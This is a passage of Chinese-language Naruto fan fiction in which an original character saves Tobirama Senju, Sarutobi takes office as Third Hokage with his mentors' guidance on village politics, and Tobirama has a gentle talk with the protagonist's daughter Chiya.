“那我应该怎么样?在木叶处理文书,傻乎乎地收到结盟仪式破裂、两边的二代目影遇袭身死的消息吗?还是坐在木叶忽然收到你东一块、西一块拼凑不全的尸体?”
把千手扉间扶起来搭在肩上的辻转身看向不远
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处趴在树上,身披鲜红的尾兽外衣,已经看不出人形的金银兄弟。
“战场上可没见过哥俩这幅模样。是吧,扉间?”辻用肩掂了掂千手扉间。
“小心他们手里的六道忍具。”从剧痛中恢复些许意识的男人不放心地叮嘱。
“我们兄弟听说过你啊,漩涡。”尾巴卷着芭蕉扇煽出一道烈风的金角露出血腥的微笑,“就在这里将木叶的两座基石一举击溃!”
“才~不~要~”迎着呼啸而来的烈焰龙卷,古蹊辻露出一抹笑意,“じゃあね~”
“嘭!”两人化作一道白烟,原地徒留一道夹杂着雷点弧光的沟壑。
“疼疼疼、嘶——”
把千手扉间平稳地放到地上已经用尽了辻最后的力气。
“你刚才就应该多陪我聊会儿,争取更多时间。”
千手扉间疲惫地闭上了眼睛,对他而言,喘气就已经很累了。
“小零。”被电得发麻,差点被七星剑剖开的男人跪倒在地,“药。”
等候多时的海鸥闻言啪嗒啪嗒地走上前,大大地张开了嘴。
……
如果木叶单方面对内的信息封锁也算封锁,那么二代目雷影与二代目火影在结盟现场遇袭的消息目前在木叶内部仅少数人知晓。
“辻大人正在支援火影大人,在他们平安回来之前,请诸位在此休整。”被辻委以重任的奈良鹿生在心里唉唉地叹气。这叫什么事儿啊!
“扉间老师他……会平安回来的吧。”被千手扉间临时任命为第三代火影的男人看着空空的手心,无助地攥了一把空气。身为火影大人的护卫却反被舍身保护……他们太弱了。
“当然了!”心里正被某种说不清道不明的情绪包裹着,听到这句话的团藏立刻喊了回去。
“镜?”和宇智波关系不错的秋道取风推了推一言不发、神情恍惚的镜,担忧地问道,“你没事吧?”
“……没。抱歉,让你担心了,取风。”
“为什么要限制我们的行动?”转寝小春与炎对视后看向主事的奈良。
“为什么呢?这个问题等火影大人回来再问吧。”一副接手了大麻烦模样的奈良鹿生避而不答,“不用担心,前线的防御部署都已经安排好了。”
仅凭古蹊辻一个人面对拥有六道忍具的金角、银角兄弟?转寝小春不抱任何希望。
如果一切都是托词,木叶内部……他们会遵照老师的遗志站在与自己共患难数十年的日斩这边。
“你们为什么不吃饭?”深深地信赖着辻的秋道取风看着转寝小春和水户门炎,灵魂发问,“是不饿吗?”
转寝小春、水户门炎:……
看穿了一切的奈良鹿生:……
难怪大家都喜欢实心眼的笨蛋,相处起来简直太轻松了。
……
千手扉间是被夹着泥的雨生生砸醒的。
多亏了千手一族强悍的体质,在黑暗中睁开双眼的男人草草摸了摸身上湿漉漉的纱布检查身体状态。喉咙里带着血沫、身体能动但几乎丧失了知觉,唯一值得庆幸的大概就只有“活着”这一点。
千手扉间看向趴在地上一身污泥仍旧昏迷不醒的男人,拖着身体走近了看,辻的边上还倒了好几个不停抽搐的海鸥。
雷属性查克拉正不断侵蚀辻的身体。
“有会封印术的海鸥吗?”身体像裂纹的大地,查克拉陷入枯竭的千手扉间看向周边的海鸥。
“啪啪!”拍打胸脯的海鸟从一群海鸥之中昂首挺胸、阔步上前。
“我来绘制咒文,你按照我说的封印辻身体残留的雷属性查克拉。”
“嘎!”
海鸥向千手扉间郑重敬礼。
17.换代
“哇啊~我还以为自己醒不过来了。”
“都这种时候了,你竟然还有力气插科打诨。”眼球滞涩地转动,仰面倒地的千手扉间再度疲惫地闭上了眼。
正面接了一道七星剑的斩击,细胞被雷属性查克拉大面积破坏,古蹊辻还能活着就是奇迹了。
“都这种时候了,你不也在吐槽。”
雨水混着泥水和血水堆积在地表,张着嘴接了一会雨的古蹊辻把身边这位真正可以称得上“奄奄一息”的白发男人拖到海鸥的翅膀下,用手指蘸了蘸伤口,在千手扉间身上画起契约咒印。
“哼哼~你现在是我的通灵兽了,安心等着被召唤吧,Tobirama-chan。”
“一千八百七十五-chan,拜托你把我逆通灵回木叶。”背靠着大型海鸥歇了一会的古蹊辻看向窝在毛领子里的小海鸥。
领了任务的小海鸥跳出领子,踩在千手扉间的胸膛上并腿敬礼,嘭地化作一道烟雾。
海鸥给海鸥传递消息、海鸥通灵召唤海鸥,短短几分钟一千八百七十五-chan就出现在了木叶。
“嘎嘎——!”
被身处木叶的小万通灵出来,环顾四周的一千八百七十五-chan同千弥、水门打了一声招呼后头也不回地展翅冲向木叶中心的那座建筑。
“忍法·逆通灵之术!”海鸥的翅膀在地上一拍,裹挟着海岛风雨的染血身影在烟雾中缓缓现身。
“辻!”不安地等待一宿,感知到火影室的动静,奈良鹿生迅速推开大门。
“是鹿生啊,麻烦你准备一间手术室。”
“都已经安排好了。”
“忍法·通灵之术!”
“真是可靠,那剩下的就交给小纲你们了。”
看到奈良鹿生身后的黄发少女和转寝小春,古蹊辻带着笑意缓缓倒下。
“辻!”
锈蚀的气味在火影室内迅速弥漫,下意识伸手扶住辻的奈良鹿生抱住冰凉的身体,看着两人身上触目惊心的伤口,始终悬着的心狠狠地提到了嗓子眼。
……
“什么都不用说啦~”看着赤红着眼的纲手,辻用双手在脸颊两侧画了一道弧线,“笑笑嘛。”
“我怎么可能还笑得出来啊!”因为一句话,眼泪直接炸出来的纲手抓住古蹊辻的衣领,半晌后又松下手伏在辻的肩膀痛声哭泣,“你的身体……”
仍旧昏迷不醒的二爷爷也是,眼前这个人也是……明明已经成为人们交口称赞的医疗忍者了,她却对病人的病情无能为力。
不是说去结盟吗?结盟之后所有人不应该欢笑着迎来和平吗?为什么她的天反而塌下了一块?
“我都知道了呦。”
“你什么都不知道!”
神经细胞、身体组织、器官全都发生了不可逆的损伤,无论是伤口面积还是深度亦或是细胞坏死的程度,这样的伤已经超出了她的医疗水平。
纲手很讨厌辻这副对自己的身体状况漫不经心的态度,身体已经差到快要死了为什么还能云淡风轻地笑着反过来安慰自己?
“海未大人呢,她知道了吗?千弥怎么办?还有你才领养的那个孩子、还有水户奶奶、我们!你全都不在意吗?”怎么有人能不负责任到这个地步!
“抱歉,小纲。”手落在纲手的脑后,辻柔声安慰,“抱歉,让你们…伤心了。”
“说这些还有什么用啊……”变性的蛋白质无论如何也不会被药剂诱导复原。
“作用是……可以安慰小纲?怎么样,有感受到我的关怀吗?”辻忽然用犀利的目光看向躺着的男人。
“没有!”
“欸,一点点也没有吗?”
“说了没有就是没有!”擦干泪水的纲手将手掌凝聚出的医疗查克拉覆在辻渗血的伤口。
“那就没办法了,让我的通灵鸥‘Tobi-chan’安慰小纲怎么样?”
“喂,醒醒,不要再睡了!”
“你这家伙,对重伤的病人做什么啊!”
敲也不能敲,拦也不敢拦,纲手只好咬着牙、压低声音劝导。
“我的准则是只要能睁开眼睛就不算重伤。”古蹊辻义正言辞。
“对我二爷爷——”客气点啊!
看着古蹊辻撸起袖子站在二爷爷的病床边,纲手低声呐喊。
“小纲。”千手扉间叹气,被迫睁开双眼,“抱歉,让你担心了。”
“你就不能说点有新意的安慰吗?这是剽窃!”
“……闭嘴,你的安慰也不见得有什么创新之处。”千手扉间盯着还有精力和自己拌嘴的幼稚鬼,“为了未来,你不更应该活得久一些吗?”
“这句话同样送还给你。为了村子更加长远的未来,自诩理性的你也不应该独自断后。”
做出选择那一刻的两人皆是无怨无悔,千手扉间和古蹊辻看着对方,各自哼了一声后一站一坐面朝两侧。
这两个人是小孩吗?纲手无语。
“全都躺回去。”
嘴上念着“好凶、好凶”的辻用行动表示对纲手命令的顺从,然后他的病床被纲手推到了千手扉间旁边,要不是躺在病床上的两个人不约而同地伸出手抵着床沿,两张病床险些就拼成了一张。
“哇!这是惩罚吗?好险恶!”
“给我和好啊!”
“我可是长辈哦!长辈!”
“三岁半的长辈吗?”
“咳咳、小、小纲——”
看到古蹊辻虚弱地捂着胸膛咳嗽,气若游丝。纲手见状立刻卸了力,俯下身。
“这是我、咳咳、一生的请求,我要睡单人床——”
被气得够呛还不好发火的纲手:……
悄悄竖起耳朵的千手扉间:……
活火山能量积蓄中——
“火——”影大人!
门被来人激动地用力地拍开,与此同时Dr.纲手积攒了一肚子的能量的彻底爆发。
还没见着扉间老师就被从里面出来的弟子拽了出去的未来三代目:
欸?
纲手?!
等下,是老师啊!
沉寂下来的秘密病房里,两人相对无言。
“看来要和海未好好谈一次了。”辻缩进被子,“就像小纲说的那样,我真是一个不称职的丈夫,不称职的父亲。”
“不再试图改变海未和千弥的未来了吗?”千手扉间一双红瞳盯着天花板出神。
辻提起被子蒙住头,“再说吐血给你看。”
……
春日里的木叶隐村正在筹划新一任火影的选举仪式。
“你们难道不想参加火影竞选吗?”志村团藏攥紧拳头,看着为日斩忙前忙后的炎和小春,“作为二代目火影大人的亲传弟子,你们也是火影的有力竞争者。”
“我和炎正在以成为日斩的辅佐为目标。”
找到了对自身的定位的转寝小春和水户门炎对视一眼,“团藏你呢?不去参加竞选吗?如果成为候选人的话你也是有力的火影竞争者啊。”
“……”发丝遮住眼底的阴翳,志村团藏再次想起了火影大人的“考验”。
同期看好日斩,身为二代目火影大人卫队一员的宇智波镜也是,秋道一族、奈良一族、山中一族与猿飞一族交好,就连猿飞日斩的亲传弟子都是初代目火影大人的孙女……
成为候选人参加火影竞选无异于自取其辱,他难道要在所有人面前被猿飞日斩战胜吗?
何况,二代目火影大人心里已经有了属意的人选。
可为什么还是不甘心?
二代目火影大人不是平安回来了吗?为什么还要卸任传位?
“我、我也比较支持日斩。”
志村团藏浑浑噩噩地离开了。
放弃心底的野望成为日斩的辅佐一生屈居人下?他不甘心。从前两人还是不相上下的对手,不知何时他竟已经被猿飞日斩远远地甩在了身后。
三代目火影的最终人选是毫无疑问的。
经过上忍提名、村民民选、大名认同,木叶隐村的三代目火影正式敲定。
站在下位,同一众木叶忍者、木叶村民站在一起的志村团藏成为了芸芸众生的一员,与众人一同仰望着那
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位从二代目火影大人手中接过了象征着身份的斗笠、面对着人群意气风发的对手。
他们再也不是对手了。
“欧多桑说火影是保护村子的人。”站在人群里的千弥扯扯水门的袖子,意识到自己的声音被一阵高过一阵的欢呼浪潮吞没,千弥凑近了水门的耳朵,“我的朋友里有一半梦想是要成为火影。”
“那另一半呢?”波风水门笑着看向沐浴在村民祝词中的新影,抬手捂住千弥的耳朵,如天空般包容的眼睛转而认真地注视着千弥的嘴巴。
“另一半想要成为保护村子的人。”千弥回答。
……
“接下来由我对你进行岗前培训。”说着,辻变戏法似的拿出一沓文件。
猿飞日斩面对着年纪比自己小但气势上生生高出了一大截的古蹊辻,偷偷看了一眼安静地坐在一旁往茶杯里倒茶的扉间老师。
“看他也帮不了你。这些文件,由你来签署并回批方案。”
撂下话,辻坐到千手扉间对面,将对方晾了有一会的茶水一饮而尽。
没有过度,没有叮嘱,一脸懵的猿飞日斩坐在属于火影的主位拿起手边的文件,入目便是与宇智波一族有关的文件。坐姿端正的猿飞日斩认真看完,放下笔,抿紧嘴唇后选择战略性略过。
翻过去第二题,不,第二页,是日向家为保护白眼设立的笼中鸟制度的废止议题。
手已经有些发抖的猿飞日斩又翻了一页,内容不仅又回到了宇智波问题,还涉及了暗部……
扉间老师都没能解决的问题就这么丢给他了吗?
求助的信号被顺利接收,然而辻的回复却是相当“无情”——
“如果你不能超越前人的话,木叶隐村就会跟着走下坡路。不是有个说法吗,叫‘沉疴难愈,积重难返’。”
肩抗木叶还被要求达成“翻山”成就的猿飞日斩强作镇定地继续读题。
除了忍猫、忍犬和鸟类通灵兽之间的地盘纠纷,这些文件的内容全都是直指当前或未来木叶弊害的大事。
汗水浸湿了衣衫,放下文件的猿飞日斩看向老师和老师的参谋。
“我不能一个人做决定。”
“那我们两个人正好可以给你建议。”在纸上玩五子棋的辻看向日斩,“就从最简单的白眼问题开始,我建议暴力废止笼中鸟制度。”
“保留。”千手扉间头也不抬地落笔。
猿飞日斩看着疑似故意唱反调的两位:“……请认真给我建议。”
“参谋给出的建议未必总能尽如人意,那么关于这个问题,身为火影的你心中有答案了吗?”
“笼中鸟设立的初衷是保护白眼,”猿飞日斩试图站在全局角度思考,“防止白眼被夺取……似乎有利于木叶和日向一族。”
“写轮眼也会被夺取。鬼灯一族的身体、漩涡一族的封印术,只要是有价值的事物就会被人觊觎。价格都在黑市上写着呢。”
辻瞥了千手扉间一眼:你的弟子怎么脑子空空的?
“村子建立的初衷是和平,让忍族之间也能放下仇怨,相互理解、实现共存。”千手扉间在辻趁机作弊多画的圆圈上打叉,“如今,日向一族内部正在生出仇怨。”
当需要举族应对的外部危机消失,沉寂多时的内部矛盾将从水中浮现。比起防止血继限界外流,笼中鸟今后更主要的作用是宗家对分家的绝对约束。
“废除笼中鸟真的有可能吗?”猿飞日斩喃喃自语。
日向一族的族长作风古板得像是书里的老学究。上一代族长也是,他打小看着那双白色的眼睛就发憷。
“能否改变取决于你作为第三代火影的魄力和威望。”输了的辻给扉间倒水。
“下一题是二代目直属暗部对宇智波一族的监视行为评价。”
还没从上一题中回过神的猿飞日斩猝不及防下又被古蹊辻喂了一口猛药,颤着身体狠狠打了一个激灵。
暗部?那可是二代目火影大人、他尊敬的扉间老师的直属部下!
这是他可以评价的吗?!
坐在火影位置上的猿飞日斩顿感如坐针毡。
18.你是当火影还是做大名?
“将一族年轻人的视野限囿于警备部队一方天地又派人暗中监督宇智波的动向,看似放权实则圈禁,将同千手建村的一族排挤在政治核心外,果然像人们说得那样心黑卑鄙,讨厌着宇智波啊,扉间大人。”
无法忍受辻用那种轻飘飘的轻佻语气对二代目火影的执政手段进行评价,见扉间老师对此竟无动于衷,猿飞日斩猛地起身为老师发声。
“不是!那是因为宇智波一族曾经发动叛乱、宇智波斑更是带着九尾——”
“因为我和宇智波始终无法做到相互信任。”这并不是单方面的问题。
抬眼看着怒气冲冲的日斩,千手扉间出声打断,那双狭长的红眸里清楚地映着猿飞日斩身着影袍的身影。
“宇智波一族的写轮眼是映射心灵、由爱而生的力量。”
头一次听到老师对写轮眼这番高度评价的猿飞日斩愣在原地。
“与此同时,拥有这份力量往往伴随着珍视之物的失去,宇智波也因此更加容易被强烈的恨意吞噬,由力量支配躯体。一旦理智崩溃暴走,从中诞生出第二个宇智波斑也不是不可能。因为这份特性,我不得不保持警惕。”
“但是,千手一族和宇智波一族在拼杀中已经走出了战国时代,甚至联手建立了木叶。以相杀为相处底色的我们这一辈人正在逐一离开。”千手扉间看着三代目火影,“无论如何,我们这些旧人终将化作历史的残烟,猿飞。”
“现在的宇智波一族里有像宇智波镜那样心系木叶的宇智波,也有宇智波富岳那样尽心维系木叶秩序的宇智波,新的种子已经萌芽,你不必照本宣科地继承我的这份警惕。”
“老师……”听着老师亲口暗示一个时代的落幕,猿飞日斩的眼里蓄着泪水。
“千手扉间从五岁走上战场起同宇智波一族厮杀了20多年,宇智波一族畏惧千手扉间、千手扉间警惕宇智波一族是难免的。你虽然是我的弟子,但你并不是我。你一定可以超越我,开创出宇智波与木叶隐村相融的全新局面。”
“保护村子,保护信任你的人,培养值得委以重任的下一代。这句话再赠予你,下一代是不分出身的下一代,没落的小族也好,日向、宇智波那样的大族也好,出身平民的忍者也好,守护木叶的未来、洞见木叶的隐患,以影的姿态施以护佑,以影的魄力进行革新,将火之意志传承下去。这其中必然存在不光彩的暗面,用你自己的智慧和方式去处理,你有只身承担这份黑暗、守护光明的觉悟了吗,第三代?”
半身陷在阴影中的千手扉间目光平静地看着自己这位引以为傲的弟子。善良、豪爽、不拘小节,这样的性格搭配绝对的实力必然能够获得村民和忍者们的爱戴。
“是!”挺直了身体的猿飞日斩大声地展现决心后,愣了一会眨出豆豆眼,“只身?”
“不然呢?把阴暗面甩给别人,自己当忍者和村民眼中光明正派的影?哪有那么好的事?”古蹊辻看着因为自己施加的压力开始流汗的猿飞日斩,开口补充,“卧底潜伏、情报刺探、发现隐村内部存在的忧患……这些都是你维护木叶利益需要绝对掌握的信息。你想把这些事丢给别人处理?”
“黑暗不能……和同伴们一起背负吗?”
“这么小的村子还想撒手放权,你是在当火影还是当大名?”
听着古蹊辻近乎大逆不道的骇人发言,猿飞日斩再次“求助”扉间老师,然而对方只是抚摸茶杯上因承受不住霸气而裂开的璺口。
以猿飞的个性……千手扉间看着眼前这位天真的弟子。
半晌后猿飞日斩听到老师开口了,声音一如既往的沉稳,令人信服。
“猿飞,这是只有身为火影的你才能背负的责任。”
“重大决策有决策机构、参谋和火影一同商讨制定,琐事也有参谋辅佐陪同。但是,独立于忍者体系之外的忍者武装只有行走于暗处的暗部、只能是直属火影的暗部。”
“暗部做什么、怎么做由你决定,你不能受任何人的挟制,木叶不需要、也不能滋生更多的黑暗。”
绯红色的眼眸比刀剑锋利、比深海幽邃,一举破开猿飞日斩心中的迷茫。
“我建议扉间你把这句话印在三代目火影大人身上,就像一辈子洗不掉的那种飞雷神印记一样。”收回霸气的古蹊辻嘟嘟囔囔地抱怨,“聪明的老师教出了……(傻白甜)学生,我衷心地祝愿二代目未来不会在教育界名誉扫地。”
“咚!”
很清脆的敲击声。
从容地收回手的千手扉间看着嘴巴大张的弟子,眼神犀利。
把下巴托回去的猿飞日斩自觉地坐回到座位,像鹌鹑一样低头。
“我觉得差不多了,剩下的全部丢给鹿生好了。”一边嘶嘶嘶一边伸懒腰的辻“任务完成”后立马原形毕露,“我还是病人呢!暴力!野蛮!老爷爷!”
“闭嘴。”
猿飞日斩忽然很想捂住耳朵,但这种场景……总感觉有点似曾相识,让他止不住地心生酸楚。
“当火影竟然这么开心吗?”辻看着泪花闪烁的猿飞日斩大吃一惊。
眼眶的泪既落不下又挂不住,呆呆愣愣透出几分傻气的猿飞日斩表情空白:“诶?!”
只要有古蹊辻,什么氛围都能破坏殆尽。千手扉间深深地吸气——
“咚!”
“都说了我还是病人,小心我吐给你看!”
“最后再确认一次,你已经做好身为影将光明和黑暗一并背负的觉悟了吧。”
“是!”
看着辻把扉间老师的笔抽出来放在自己桌上后径直同穿着一身常服的老师转身离开,沉默地起身目送两位的猿飞日斩真正意识到曾依赖着老师和同伴的自己要独当一面带领木叶走向未来了。
从今往后,他是忍者们、村民们的依靠。
……
千手扉间看着古蹊辻的身体报告声音发沉,“真的不尝试移植阿尼甲的细胞吗?”
只要他能在死神到来之前找到抑制木遁细胞吞噬特性的办法,他大哥千手柱间的细胞那强大的活性或许可以取代辻身上坏死的细胞,维持辻的生命。
与已至暮年的他不同,辻还很年轻。
“不了,事实上,我有一个请求。”
千手扉间看着身体承受巨大痛楚却如常微笑的弟弟,声音艰涩,“你说。”
“替我去陪小千聊聊天吧!这是我一生的请求!”正经不过两秒的男人飙着泪花,“小千实在太敏锐了,这几天既想亲近又不敢靠近,那种难过矛盾的心情似乎不小心传达出去了,那孩子完全在躲在着我!”
早上睁开眼睛,家里就只剩下陪千弥吃完了早饭、安静地看书的水门和吽吽对着海鸥叫的“野犬”,小千那孩子完全在避着他走!
千手扉间想起了乐呵呵地对着猿(saru)喊二代的千弥、一步一个泥脚印,在漩涡之塔的阶梯上和绳树相互抹泥巴的千弥,嘴角抽搐,侧过头,“那是你的家事吧。”
“千手族长已经没有族务要处理了吧?这是我一生的请求,咳咳咳咳!”
看着弯下腰把肺都要咳出来的男人,卸任二代目火影的千手扉间眼皮狂跳。
“我知道了。别再咳了!”扶着古蹊辻,千手扉间感觉自己也被气得气血翻涌。
还在做这种激烈的动作…这家伙是生怕自己身体崩溃得还不够快吗!
“我和小千的父女关系能否恢复和谐就全指望你了,我还要去处理漩涡那边的事。”
“……知道了。”
“那么Tobi-chan,拜~”
被迫接下这番强行甩锅扣帽子的委托,发现对方原地上演一出变脸随即被逆通灵化作白烟的千手扉间拳头硬了。
太大意了,上当了!
哪怕有辻和水户作为连接两家的桥梁,千手扉间和古蹊千弥也从未有过单独的交流,甚至除了那次闹笑话般的二代目事件以外,他从未正式地出现在古蹊千弥面前。
因为古蹊千弥毫无疑问是个血统纯正的天然呆。而同天然呆相处,人会在不经意间变得幼稚。
千手扉间是在大哥的颜岩那儿找到古蹊千弥的。
和想象中不一样,当他到那儿时,早早地呈“大”字形躺在大哥颜岩头上的小孩正出神地望着天空,头顶是大片大片的乌云。
“自由是什么呢?”很奇怪,欧多桑前些天忽然告诉她要选择自己喜欢的方式,自由地生活。连她趁机提出要做海贼的要求都笑着应声了。
不是天然呆而是哲学家?手笼在袖中的千手扉间闻言
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,盘腿坐在自己颜岩的头顶沉默地远眺木叶的光景。
让一名忍者来谈自由,未免太过奢侈了。年少时曾说出“压抑感情,制定严格的规则避免纷争”的男人终其一生都在贯彻自己少时的准则,保持冷静的头脑,排除一切危害村子的存在。
哪怕卸下了火影之职、已经命不久矣,千手扉间也没有一刻获得所谓的“自由”,因为千手扉间不仅是千手扉间,还是千手一族的末代族长。
阿尼甲千手柱间为了培育名为木叶的幼苗,以身作则将森之千手化作了滋养大地的春泥,亲手将凌于忍族顶点的森之千手埋葬,弟弟千手扉间则是忠实地贯彻着大哥的意志,成为了千手一族沉默的守陵人。
在责任与信条的约束下,大概只有死亡降临,缠绕在千手扉间身上的重重锁链才能真正解除。
没得到回答千弥也不失落,继续沉默地抬头仰望头顶那片乌云密布的天。
“人什么时候才能获得真正的自由呢?”古蹊千弥发现自己想做海贼的愿望得到欧多桑的应可后并没有特别开心,相反,她在恐慌,那一瞬间似乎有什么东西攥住了自己的心脏,鼻子发酸,喉咙干渴,她伤心得快要死掉了。
“白头发的叔叔你叫什么名字?”
“老夫已经年过六旬了。”
在千弥面前成功地用出了更具威严的称呼,连千手扉间自己都没注意到他的嘴角在上扬。
“欸!”从岩石上支起身体的千弥猛地转头,震惊脸,“原来看起来很年轻的白发叔叔是白发苍苍的老爷爷!”
千手扉间:忽然也没那么开心了。
“我的头发本来就是白色的。”千手扉间否定了千弥的那句“白发苍苍”的形容,但“老爷爷”这一点他并不否认,他的年龄足矣做古蹊千弥的爷爷,尽管按照辈分,他属于叔叔那一辈。
“请问您是怎么保养的呢?”摆手、呼气、蛙跳,流畅地跳到另一尊炸炸的头像头顶的古蹊千弥露出星星眼,“请务必传授我保养的窍门!家父对此一定会感激不尽的!”
辻那家伙!
平时在千弥这丫头面前都是什么形象啊!
千手扉间看着面前比绳树还小一岁的千弥,平复呼吸,“是体质,没有窍门。”
“那就没办法了。”
原地一躺,看着从乌云中倾泻出的道道明亮的光束,千弥终于露出了笑容,“老爷爷您忍者退休了吗?”
因为千弥奇怪的形容汗颜的千手扉间按着心脏,面无表情,“啊。”
“有放不下的妻子或后代吗?”
小纲已经能独当一面了,绳树也在肉眼可见地成长,沉吟思考的千手扉间给出了否定回答,“没有。”
“那孑然一身的老爷爷未来要不要和我一起出海旅行?”
“啊?”千手扉间好像听到了什么不得了的发言。
古蹊千弥未来难道不选择成为一名忍者吗?
“老爷爷您叫什么名字?”古蹊千弥又抛出了一个问题。
“Tobirama。”
“鸢(Tobi)喇嘛(rama)?”千弥笑得更开心了,喉咙间流露出的声音像飞鸟一样雀跃,“我很喜欢老爷爷的名字呦,每个音都喜欢。是很自由的名字!脸颊和下巴上的红色条纹也很喜欢!”
被千弥用奇怪的理由喜欢上的千手扉间头痛地捂住了额头。
好歹也是二代目火影,两人也曾打过照面,他以为这孩子能认出他,无论是通过名字还是相貌。此外,“自由的名字”这一点他完全没能理解。这就是天然呆的脑回路吗?
“我有一个朋友,叫九喇嘛(Kurama)呢!”
“是吗。”他所知道的一些忍族后代里似乎没有叫这个名字的新生代,所以是村民或者漩涡吗?
“请问!”从口袋里掏出小花的千弥递到千手扉间面前,“我可以邀请鸢喇嘛先生未来和我还有九喇嘛一起出海旅行吗?”
“我会努力一点,早一点下忍毕业,不会让您等太久的!”
面对这份赤诚的邀请,千手扉间这下子是实实在在地感到头疼了。
他活不了多久了。
不对,他是来找千弥谈心,“挽救”辻所谓的“父女关系”的,话题怎么跑偏到这个地步?
19.九喇嘛与鸢喇嘛
“被拒绝了啊——”
已经微长的刘海被呼呼地被吹得反卷,透过发丝之间的碎隙,千手扉间注意到这个女孩眼里没有一丝被拒绝的失落,穿透层云的光束落在她的眼中尽数化作了落在海面的融融碎金。
“你对此并不失望。”
他能感受到邀请中的真诚,若换做是绳树,在被拒绝的那一刻脸颊恐怕已经鼓得像气球那么圆、像小丘那么高了。
“唔……”千弥抓着头发想了两秒,脑中闪过相当精妙的比喻,“就像那个啦!身上没有一文结纳金的落魄穷小子妄想求取国都的高门贵女,两手空空的我被拒绝也是理所当然的吧。”
被比作“贵女”的千手扉间放缓了呼吸的节奏,用手捂住胸膛,他的心脏泵血速度正在加快。明明站在面前的是古蹊千弥,他偏偏生出了一种被古蹊辻“支配”的感觉。
那家伙是把自己的孩子教育成了第二个自己吗?
“不过,等下次邀请鸢喇嘛先生的时候,我会带上很多‘结纳金’的,一起去海的尽头吧!”
千手扉间平静地看着双手握拳站在自己的颜岩头上自顾自地燃起来的天然呆,半晌后他问出了萦绕在心头的疑虑,“为什么邀请我呢?”
“因为鸢喇嘛先生给人的感觉像是纸鸢(たこ)?”千弥从另一个口袋里掏出花花绿绿的糖纸,对着看起来冷峻又有神性的老爷爷露出明媚的笑意,“没有牵挂的话我就不客气地抓住风筝线了。”
未了,刚说完了一通霸道话的千弥还不忘打补丁,“等我更有底气地去抓风筝线的时候。”
曾经用糖果应付绳树的千手扉间看着被塞了满手的糖果陷入久久的沉默。
他自认为自己并非没有牵挂,大哥留下的遗产,无论是木叶还是人,都是他心中的牵挂、都在尽心守护。只不过随着千手扉间的时代过去,孩子们已经长大,木叶也有了值得托付的后辈,仅此而已。
但是辻不止一次对自己说过千弥很敏锐。
他留给这个孩子的印象竟然是断线的风筝。
千手扉间想到了辻那通近乎耍赖皮的委托。他也是这种感觉吗?那么在感知能力不亚于辻的大嫂眼中自己又是什么模样呢?这段时间,恐怕是让亲人们为自己的状态担心了。
纵使心中闪过诸多思虑,对于注定无法身赴的邀约还是要负责任地拒绝到底。千手扉间开口了——
“不管——”
“千弥!回家吃饭了呦!”
拒绝的话被人打断,千手扉间低头看着出声的方向。
一头金发的小少年如向日葵般花盘正对太阳,朝千弥的方向不断招手。
“再见啦!鸢喇嘛先生!”
咻一下,眨眼的功夫千弥便毫不犹豫地朝着来人扑了过去。
波风水门,根据辻大脑提供的生动图像,是那位在未来学会了飞雷神之术的优秀忍者。
千手扉间注意到那个碧眼少年在接住莽撞的千弥后,礼数周全地对自己俯了俯身。身处那样的环境竟然没被同化成天然呆,某种意义上真是了不起的少年。
“水门、水门。”
呼唤着伙伴名字的千弥热情的像是小狗。
“嗯?”
手牵手走在一起的两人穿过熙熙攘攘的街道,往僻静的家的方向走去。
“我找到未来的同伴了!”
“那位白发红眸的大人吗?”波风水门握着千弥热乎乎但保持着干爽的手,笑容不变,“为什么千弥酱从来都没有想过邀请我加入旅行呢?”
“欸?”千弥跨两步站在波风水门面前,凑近,“因为水门的梦想是火影吧。”
她有注意到,看着三代目接过斗笠就任时水门那双本来就很蓝的眼睛亮晶晶的满是憧憬。
“不是。”波风水门笑着否定,“我的梦想是你那另一半朋友的梦想。”
“可是我觉得水门很有毅力,温柔又强大,没准未来可以超越所有人,实现另一半的另一半的梦想哦!”
脆生生的声音带着不谙世事的纯真,不知是喷洒在脸庞上的呼吸还是那双满是自己的真诚的双眼激发出了身体中沉睡着的生物电,逐渐染上薄红色的波风水门率先挪开目光。
“总之,千弥一次都没有询问过我的答案吧。”
“我的梦想是做海上的盗贼哦。名扬五国八方的大海盗!”伸出空着的那只手勾爪摆出一副“狼来了”的邪恶架势,倒着走路的千弥牙齿咔吧吧地咬着空气,“是坏蛋哦!”
“千弥的话,哪怕做坏人也是锄强扶弱的善良坏蛋。”波风水门把千弥吃到嘴里的散发拯救出来,“你要把自己未来的丈夫可怜地独自丢在故乡吗,千弥。”
“丈、丈、丈夫什么的……”左脚拌右脚的千弥踉跄着按住波风水门的胸膛,红着脸心虚到不行,“你也说了是未来吧。”
都怪欧多桑!害她很突然地就有了赘夫了!
“因为我是为了做千弥未来的丈夫才来到这个家的。”微笑着逗弄千弥的波风水门看到炸毛气短的海胆心满意足。
“不要说这种话呀!“
“那就回家吃饭,不过千弥——”
“嗯?”
“汪酱的磨牙棒呢?清晨出门的时候不是说要去补充犬零食吗?汪酱在家很期待哦。”
“不好!走在路上的时候喂给别的汪酱了!”
“那就先拐道去犬冢族地采买吧。”
“走吧!”
在漩涡之塔收到海鸥的传信,拿出记载着漩涡一族内部对避世隐居的分歧以及居住在别国的漩涡族人的生存境况等情报,千手扉间选择性地忽视了被着重圈红的、格格不入的、圈给他一个人看的“父女关系”几个字,把信息分享给水户。
“漩涡一族并没有举族搬迁到木叶的打算。”
“等到那时,流落的漩涡……遗民就交给我庇护吧。”水户看完了海鸥带来的情报,这位坚强的女人极为少见地在人前叹息,垂坠在发簪上的符纸也簌簌地发出两声响动。
千手扉间想说些什么劝慰的话,但作为木叶的一员,作为受到水户庇
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护的一方,他深感赧颜以至于脑中各种各样的关怀语句都显得那样苍白。
这是一位比山还要坚毅的令人钦佩的女子。为了木叶,水户牺牲了自己的一生。为了漩涡,往后她还要忍受与族人的分别之苦。
“安心,虽然到那时你们大概都已经离我而去了,但我并不孤单。”漩涡水户笑着看着面前从建村起便作为火影的参谋肩负起木叶的男人。
比起怀抱着大梦想的千手柱间,面冷心热、心思缜密的千手扉间才是为那个默默培土育苗,守护了所有人的梦想的支柱。
千手扉间垂下头应声:“……嗯。”
“不过……”漩涡水户拉长声音沉吟,注意到扉间抬起头后,立刻露出一抹揶揄但明艳的微笑,“不用去看看吗?这个圈似乎是辻给你一个人的留言。”
千手扉间看着水户手指点着的文字,撇嘴。
“虽然方式各异,但大家想要守护亲人、爱人、朋友的心都是一样的。”
千手扉间难得孩子气地重重地哼了一声。
和古蹊千弥短暂的谈话,他的心率两度达到了90以上,他怕自己被辻关心死了。
